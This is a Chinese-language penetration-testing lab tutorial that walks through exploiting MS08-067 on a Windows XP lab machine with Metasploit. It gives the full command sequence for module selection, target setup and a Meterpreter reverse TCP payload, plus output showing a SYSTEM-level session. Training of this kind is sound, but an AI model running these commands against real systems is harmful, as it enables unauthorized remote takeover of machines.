在 Metasploit 中利用 Metasploit 攻陷 Windows XP 目标上的 MS08-067

Kali LinuxBeginner
立即练习

引言

在本实验中,你将学习如何使用 Metasploit Framework 来利用一个最广为人知的 Windows 漏洞,即 MS08-067。此漏洞存在于 Windows 系统的 Server Service 中,并允许远程代码执行。

你将使用 Metasploit,一个强大的渗透测试工具,来选择、配置并针对目标 Windows XP 机器发起攻击。在本实验结束时,你将在目标机器上获得一个 Meterpreter 会话,从而实现远程控制。

本次实验的环境已预先配置好两台机器:

  • 你的攻击机(此 Ubuntu VM),IP 地址为 192.168.1.100
  • 一台易受攻击的 Windows XP 目标机,IP 地址为 192.168.1.101

你将从攻击机上的终端执行所有操作。

选择 ms08_067_netapi 漏洞利用模块

在此步骤中,你将启动 Metasploit 控制台并选择适用于 MS08-067 漏洞的相应利用模块。

首先,打开一个终端。所有命令都将在该终端中执行。Metasploit Framework 提供了一个名为 msfconsole 的命令行界面。让我们使用 -q(quiet,安静)标志启动它,以抑制启动横幅。

msfconsole -q

加载完成后,你将看到 Metasploit 提示符,它看起来像 msf6 >。现在,你可以搜索与 ms08-067 相关的利用模块。

search ms08-067

你将看到一个匹配模块的列表。我们感兴趣的是 exploit/windows/smb/ms08_067_netapi

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption

要使用此漏洞利用,请键入 use 命令,后跟模块名称。

use exploit/windows/smb/ms08_067_netapi

你的提示符将发生变化,表明你现在正处于此特定利用模块的上下文中。

msf6 exploit(windows/smb/ms08_067_netapi) >

将 RHOSTS 选项设置为 Windows XP 目标

在此步骤中,你将通过设置目标的 IP 地址来配置利用模块。大多数利用模块都需要知道攻击谁。在 Metasploit 中,目标地址使用 RHOSTS(Remote Hosts,远程主机)选项进行设置。

首先,让我们使用 show options 命令查看此利用模块可用的选项。

show options

你将看到一个可配置选项的表格。请注意,RHOSTS 是必需的,但尚未设置。

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    445              yes       The target port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

...

现在,将 RHOSTS 选项设置为我们的 Windows XP 目标的 IP 地址,即 192.168.1.101

set RHOSTS 192.168.1.101

Metasploit 将确认更改。

RHOSTS => 192.168.1.101

你现在已经告知 Metasploit 要针对哪台机器进行攻击。

选择一个反向 TCP payload,例如 windows/meterpreter/reverse_tcp

在此步骤中,你将选择一个在成功利用后要传递到目标系统的 payload。Payload 是将在目标机器上运行的代码。我们将使用 Meterpreter,它是一个强大且灵活的 payload,提供交互式 shell。

windows/meterpreter/reverse_tcp payload 将强制被攻陷的目标机器连接回你(攻击者)。在防火墙可能阻止直接连接到目标的实际场景中,这通常更成功。

要设置 payload,请使用 set payload 命令。

set payload windows/meterpreter/reverse_tcp

Metasploit 将确认 payload 已设置。

payload => windows/meterpreter/reverse_tcp

现在 payload 已选定,你需要在下一步配置其选项。

设置 LHOST 和 LPORT payload 选项

现在你已经选择了反向 payload,你需要配置它以连接回你的机器。这需要设置两个主要选项:LHOSTLPORT

  • LHOST(Local Host,本地主机):这是你的攻击者机器的 IP 地址,payload 应该连接回这里。
  • LPORT(Local Port,本地端口):这是你机器上将监听来自目标传入连接的端口。

正如在介绍中提到的,你的攻击者机器的 IP 是 192.168.1.100。让我们将 LHOST 设置为这个值。

set LHOST 192.168.1.100

你将看到一个确认信息:

LHOST => 192.168.1.100

接下来,让我们设置监听端口。一个常见的选择是 4444

set LPORT 4444

同样,你将看到一个确认信息:

LPORT => 4444

你可以再次运行 show options 来验证所有必需的选项(RHOSTSLHOSTLPORT)是否都已正确设置。

运行 exploit 并获取 Meterpreter 会话

在配置好所有选项后,你就可以启动 exploit 了。这是你尝试攻陷目标系统的最后一步。

要启动攻击,只需使用 exploit 命令。

exploit

Metasploit 现在将尝试利用该漏洞。如果成功,你将看到类似以下的输出。它将自动检测目标操作系统,发送 exploit,然后发送 payload。

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Automatically detecting the target...
[*] 192.168.1.101:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.101:445 - Selected Target: Windows XP SP3 English (AlwaysOn)
[*] 192.168.1.101:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:1035) at 2023-10-27 10:30:00 -0400

meterpreter >

注意最后一行:Meterpreter session 1 opened。你的命令提示符已变为 meterpreter >。这意味着你已成功攻陷目标并获得了一个活动会话。

要验证你的访问权限,可以运行 getuid 等命令,查看你在目标系统上是以哪个用户身份运行的。

getuid

输出将显示你拥有最高级别的权限。

Server username: NT AUTHORITY\SYSTEM

恭喜你,你已成功利用 MS08-067!

总结

在本实验中,你成功地使用 Metasploit Framework 攻陷了 Windows XP 目标上的 MS08-067 漏洞。

你遵循了渗透测试的基本工作流程:

  1. 选择了一个特定的 exploit 模块 (exploit/windows/smb/ms08_067_netapi)。
  2. 通过设置目标的地址 (RHOSTS) 来配置 exploit。
  3. 选择了一个 payload (windows/meterpreter/reverse_tcp) 来获得控制权。
  4. 使用你的本地主机和端口 (LHOST, LPORT) 配置 payload。
  5. 启动 exploit,并在目标上获得了高权限的 Meterpreter 会话。

这个练习展示了使用 Metasploit 这样的框架来测试和利用系统漏洞的强大功能和简便性。